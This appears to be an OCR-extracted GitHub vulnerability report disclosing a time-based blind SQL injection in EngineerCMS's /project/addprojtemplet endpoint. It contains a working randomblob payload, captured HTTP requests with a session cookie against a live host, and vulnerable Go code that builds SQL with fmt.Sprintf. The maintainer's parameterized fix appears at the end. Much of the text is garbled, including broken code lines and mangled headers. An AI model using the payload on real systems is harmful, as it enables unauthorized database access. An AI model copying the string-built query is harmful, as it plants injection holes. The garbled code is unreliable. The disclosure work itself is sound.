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The EngineerCMS has a SQL injection
vulnerability in the /project/addprojtemplet
interface.

POC:

code=ssl123&name=dassda'and(case+when(substr(sqlite_version(),1,99)="'3.31.1')then+randombl LI;I 0

4

After logging into the EngineerCMS, it is possible to construct special parameters that can cause SQL
injection.

Affected versions: 1.02~2.0.5

Vulnerability location:
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(c *ProjController) AddProjTemplet() { GetProjectsbyPid(idNum)
_» _, uid, _, islLogin := checkprodRole(c.Ctx)
if lislogin {
route := c.Ctx.Request.URL.String
c.Data["Url"] = route
c.Redirect("/roleerr?url="+route, 302 tegories)

return tegory.Id, category.Title, category.Code, 1, *models.FileNode{}}

categories, &root)

projcode := c.GetString("code™)

projname := c.GetString("name") ct(projcode, projname, principal, @, "", "", 1)
projlabel := c.GetString("label")

principal := c.GetString("principal")

projid := c.GetString("projid")

ispermission := c.GetString("ispermission") User(Id, uid)

_, err = models.AddProjectLabel(Id, projlat®g
if err 1= {
logs.Error(err

}

models.Insertprojtemplet(Id, "$"+strconv.FormatInt(Id, 10)+"#", projcode+projname, root.FileNodes)

pathstring := "./attachment/" + projcode + projname

createtemplet(pathstring, root.FileNodes)

sertprojtemplet(pid int64, parentidpath, parenttitlepath string, nodes []*FileNode) (id int64) {
_s vl := range nodes {

parentid := pid

grade := vl.Grade

111 = "2006-01-02 15:04:05.000"
date := time.Now().Format(111

sql := fmt.Sprintf("insert into Project (Code, Title, Label, Principal, Parent_id, Parent_id_path, ParcWiglitle path, Grade,Created,Upda
" values('%s',"%s"',"'%s", ' %s",%d, "%s"',"'%s"',%d, '%s"', '%s")", code, title, "", "", parentid, parentidpath, parenttitlepath, grade, date,

err := 0.DoTx (ctx context.Context, txOrm orm.TxOrmer) error {
res, err2 := txOrm.Raw(sql).Exec()
Id, _ = res.LastInsertId()
parentidpathl = parentidpath + "$" + strconv.FormatInt(Id, 18) + "#"
parenttitlepathl = parenttitlepath + "-" + v1.Title
return err2

Vulnerability Exploitation Demonstration :

Time-based Blind SQL Injection(Online Database is SQLite)

By utilizing the randomblob function to create a delay, the network request experiences an
approximate delay of 4400 milliseconds when the result is correct, and around 1500 milliseconds
when incorrect. The online SQLite database version successfully retrieved is 3.31.1
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Pretty \n Actions v HEG JR9A Render \n  Actions v
1 GET /project/addprojtemplet?code=ss123&name= 1 HITP/2 200 0K

20

@@ ﬁbﬂ Search...
b2

BR MR Od==

3 Cookie: hotginsessionid=030df9a764ab000£32d54618e7b15baa

5 Sec-Fetch-Site: same-origin

7 Te: trailers

Access-Control-Allow-Credentials: true

Control-Allow-Headers in, Token, Aut ization,Access—Control-Allow-Origin,Access-Control-/
ontrol-Allow-Methods T,POST, PUT, DELETE, OPTIONS

ontrol-Allow-Origin: *

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko, 00101 Firefox/136.0 Access-Control-Expose-Headers: Content-Length,Access-Control-Allow-Origin, Access—Control-Allow-Header
Accept: */* 7 Content-Type: application/json; charset=utf-8

Accept-Language: zh-CN, zh;q=0.8,zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; ¢=0. 3, en; q=0. 2 https://www. iminho. me

ersion(),1,99)="3. error. 1') thentrandomblob (10000000) else+0+end) ,
=25001&ispermission=true HTTP/2

dassda'and (case+when (substr (sqli
0,'","") /#&label=kprincipal=tprojid
Host: zsj. itdos. net

YOLD3dSNI

Accept-Encoding: gzip, deflate 9 Mindoc-Version:
X-Requested-With: XMLHttpRequest 0 X-Xss-Protection: l: mode=block
Origin: https://zsj. itdos. net I Content-Length: 4

2 Date: Tue, 11 Mar 2025 14:09:42 GMT
://zsj. itdos. net/project/
: empty
: cors

Priority: u=0

Connection: close

wanE (2)i0} €| search.. uzcH

Pretty \n Actions v E&é Render \n Actions v =

1 GET /project/addprojtemplet?code=ss123&name= 1 HITP/2 200 OK =4
dassda'and (casetwhen (substr (sqlite_version(),1,99)="3.31. 1') thentrandomblob (10000000) else+0+end) ,0," 2 Control-Allow-Credentials: true m
','") /*&label=kprincipal=kprojid=25001&ispernission=true HITP/2 3 Ac ontrol-Allow-Headers: Origin,Token, Authorization,Access-Control-Allow-Origin, Access-Control-4 O

2 Host: zsj. itdos. net 1 Access-Control-Allow-Methods: GET,POST,PUT, DELETE, OPTIONS 3

3 Cookie: hotginsessionid=030df9a764ab000£32d54618e7b15baa 5 Access-Control-Allow-Origin: * b

1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6: x64; rv:136.0) Gecko/20100401 Firefox/136.0 6 Access-Control-Expose-Headers: Content-Length,Access-Control-Allow-Origin, Access-Control-Allow-Heades

5 Accept: */¥ 7 Content-Type: application/json; charset=utf-8

6 Accept-Language: zh-CN,zh:q=0.8,2zh-TW;q=0. 7, zh-1K: g=0. 5, en-US: q=0. 3, en; q=0. 2 8 Mindoc-Site: https://www. iminho. me

7 Accept-Encoding: gzip, deflate 9 Mindoc-Version:

8 X-Requested-W XMLHt tpRequest 0 X-Xss-Protection: 1; mode=block

9 Origin: https://zsj. itdos. net 11 Content-Length: 4

10 Dnt: 1 2 Date: Tue, 11 Mar 2025 14:10:20 GMT

11 Sec-Gpe: 1 3

12 Referer: https://zsj. itdos.net/project/

13 etch-Dest: empty

14 Sec-Fetch-Mode: cors

15 Sec-Fetch-Site: same-origin

16 Priority: u=0

17 Te: trailers

18 Connection: close

19

20

@B« |- searcn.. wanE (D)« search. -

ek 587 bytes | 4,369 millis

Network packet :

* Request

GET /project/addprojtemplet? d;
code=ss123&name=dassda'and(case+when(substr(sqlite_version(),1,99)='3.31.1')then+randombli.  .J0
HTTP/2

Host: zsj.itdos.net

Cookie: hotginsessionid=030df9a764ab000f32d54618e7bl5baa

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;qg=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Origin: https://zsj.itdos.net

Dnt: 1

Sec-Gpc: 1

Referer: https://zsj.itdos.net/project/

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Priority: u=0
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https://private-user-images.githubusercontent.com/110891103/421425182-c43dd054-10ed-4291-b96f-c8f6ed15d2ab.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDcwNjc4OTMsIm5iZiI6MTc0NzA2NzU5MywicGF0aCI6Ii8xMTA4OTExMDMvNDIxNDI1MTgyLWM0M2RkMDU0LTEwZWQtNDI5MS1iOTZmLWM4ZjZlZDE1ZDJhYi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTEyJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUxMlQxNjMzMTNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1kMDI5MGY4ZjVkOWE4MDQxMGI0OWUxMTE0NWMxZDA2N2ExMTc3MjczOTM5ZmFmMDIzNGE5MzRiZjk2YzBhM2FiJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.fqG3yXQV_FwExa1fXN3pclycoGVmle75zysSp_eQThA
https://private-user-images.githubusercontent.com/110891103/421425228-3b586c00-2dd4-40b0-8f23-a41298beec35.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDcwNjc4OTMsIm5iZiI6MTc0NzA2NzU5MywicGF0aCI6Ii8xMTA4OTExMDMvNDIxNDI1MjI4LTNiNTg2YzAwLTJkZDQtNDBiMC04ZjIzLWE0MTI5OGJlZWMzNS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTEyJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUxMlQxNjMzMTNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1iZWZkN2ZhNmJkNWNlZTNjYTEwZTI3MDIzZDM0YzA3YWM5OThmNDgxNWM4MDQ3NWZjY2VhZGM0YjI3MjFjYWY3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.CxigfRAEvyTUC7Rc84D4TDTQUz2V3uWz3OCP_Gq3NuI
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Te: trailers
Connection: close

Q 3xxx on Mar 17 Owner
< "4

Thank you!

// sql := fmt.Sprintf("insert into Project (Code, Title, Label, Principal Ll;l
Parent_id, Parent_id_path, Parent_title_path, Grade,Created,Updated)"+
// " values('%s', '%s','%s', '%s"',%d, '%s', '%s',%d, '%s', '%s')", code,
title, "", "", parentid, parentidpath, parenttitlepath, grade, date, date)

err := 0.DoTx(func(ctx context.Context, txOrm orm.TxOrmer) error {
res, err2 := txOrm.Raw( insert into Project
values(?,?,?,?,?,?,?,?,?,?),code, title, "", "", parentid, parentidpath, parenttitlepath,
grade, date, date’).Exec() //XEBMNiZEtx0rmiE? ? ?
Id, _ = res.LastInsertId()

¢ 7 LTLTLXEY closed this as completed on Mar 17
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